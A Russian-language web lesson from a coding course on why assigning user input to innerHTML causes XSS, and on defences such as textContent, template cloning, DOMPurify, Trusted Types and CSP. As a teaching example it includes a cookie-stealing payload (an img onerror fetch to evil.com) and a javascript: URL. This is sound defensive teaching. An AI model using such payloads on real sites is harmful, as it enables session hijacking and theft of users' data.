Шаблоны и безопасность innerHTML
Разберитесь, почему шаблоны безопаснее, чем присваивание innerHTML
«Шаблоны и безопасность innerHTML» — бесплатный урок HTML Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения HTML Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс HTML Academy содержит 4 уроков всего.
Риск внедрения через innerHTML
Присваивание el.innerHTML = userInput разбирает строку как HTML-код. Если userInput содержит <script> или обработчики событий, например onerror, браузер выполняет их, создавая уязвимость межсайтового скриптинга (XSS).
Пример XSS через innerHTML
Злоумышленник отправляет имя пользователя: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Если отобразить его с помощью innerHTML, срабатывает onerror и похищает cookie сеанса. Текстовое содержимое превращается в исполняемый код.
textContent безопасен
el.textContent = userInput рассматривает строку как обычный текст: HTML-код не разбирается, скрипты не выполняются. Браузер автоматически экранирует символы < и > в текстовых узлах. Всегда используйте textContent для значений, предоставленных пользователем.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;Элемент template предотвращает разбор строк
При использовании template.cloneNode(true) структура берётся из предварительно разобранного HTML-шаблона, а не из строки, предоставленной пользователем. Присваивание значений через textContent клонированным узлам сохраняет пользовательские данные в текстовых узлах, а не в разобранном HTML-коде. Структура и данные разделены.
Очистка, когда необходим innerHTML
Если требуется форматирование HTML-кода, предоставленного пользователем (богатый текст), выполните очистку перед присваиванием innerHTML. Стандартная библиотека DOMPurify: el.innerHTML = DOMPurify.sanitize(richHtml). Она удаляет опасные теги и атрибуты, сохраняя безопасное форматирование.
Риск insertAdjacentHTML
insertAdjacentHTML("beforeend", html) также разбирает строки HTML-кода — риск XSS такой же, как при использовании innerHTML. Применяйте те же правила очистки. Более безопасный вариант: создавайте элементы с помощью createElement, задавайте им textContent и используйте appendChild.
Безопасность setAttribute
Установка атрибутов с пользовательскими данными может привести к внедрению: el.setAttribute("href", userUrl), где userUrl имеет значение javascript:alert(1), создаёт XSS. Проверяйте схемы URL: перед установкой атрибутов href или src разрешайте только http:, https: и mailto:.
Подмена DOM
Подмена DOM — это атака, при которой именованные элементы формы (id="getElementById") переопределяют глобальные переменные JavaScript. Всегда получайте доступ к элементам через document.getElementById(), а не через глобальные свойства объекта window. Политика безопасности содержимого также снижает риск атак подмены DOM.
Политика TrustedTypes
TrustedTypes (Chrome, принудительно применяемый через CSP) требует, чтобы все точки вставки innerHTML, insertAdjacentHTML и аналогичные получали строки, обёрнутые политикой. Необработанные строки нельзя присваивать — разрешены только значения, созданные объявленной политикой TrustedTypes. Это предотвращает случайный обход очистки.
Безопасность DocumentFragment
Создание элементов с помощью DOM API (createElement, createTextNode) и работа с ними в DocumentFragment по своей сути безопасны от XSS: текст всегда остаётся текстом и никогда не разбирается как HTML-код. DocumentFragments — самый безопасный способ создавать сложный динамический интерфейс.
Политика безопасности содержимого
Строгая CSP (без unsafe-inline, со скриптами на основе nonce) обеспечивает дополнительную защиту от XSS. Даже если злоумышленник внедрит HTML-код, CSP не позволит внедрённым скриптам выполниться. CSP не отменяет необходимость очистки — это страховочная мера, а не основная защита.
Проверка знаний
Почему textContent безопаснее innerHTML при отображении данных, предоставленных пользователем?
Итоги
innerHTML и связанные API разбирают строки HTML-кода, создавая уязвимости XSS, если пользовательские данные подставляются без очистки. Использование textContent, клонирования template с заполнением через textContent, DOMPurify для богатого текста и политики безопасности содержимого создаёт многоуровневую защиту от атак с внедрением HTML-кода.
Часто задаваемые вопросы
Урок «Шаблоны и безопасность innerHTML» бесплатный?
Да — полный текст урока «Шаблоны и безопасность innerHTML» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс HTML Academy, подпишись на CoddyKit PRO. Курс HTML Academy содержит 4 уроков всего.
Чему я научусь в уроке «Шаблоны и безопасность innerHTML»?
Разберитесь, почему шаблоны безопаснее, чем присваивание innerHTML Ты практикуешь HTML Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать HTML Academy?
Предыдущий опыт не требуется. HTML Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.
Сколько времени занимает урок «Шаблоны и безопасность innerHTML»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке HTML Academy?
Да. Каждый урок HTML Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Элемент template: инертное содержимое
- Клонирование шаблонов с помощью cloneNode
- Использование template для отображения с JavaScript
- Шаблоны и безопасность innerHTML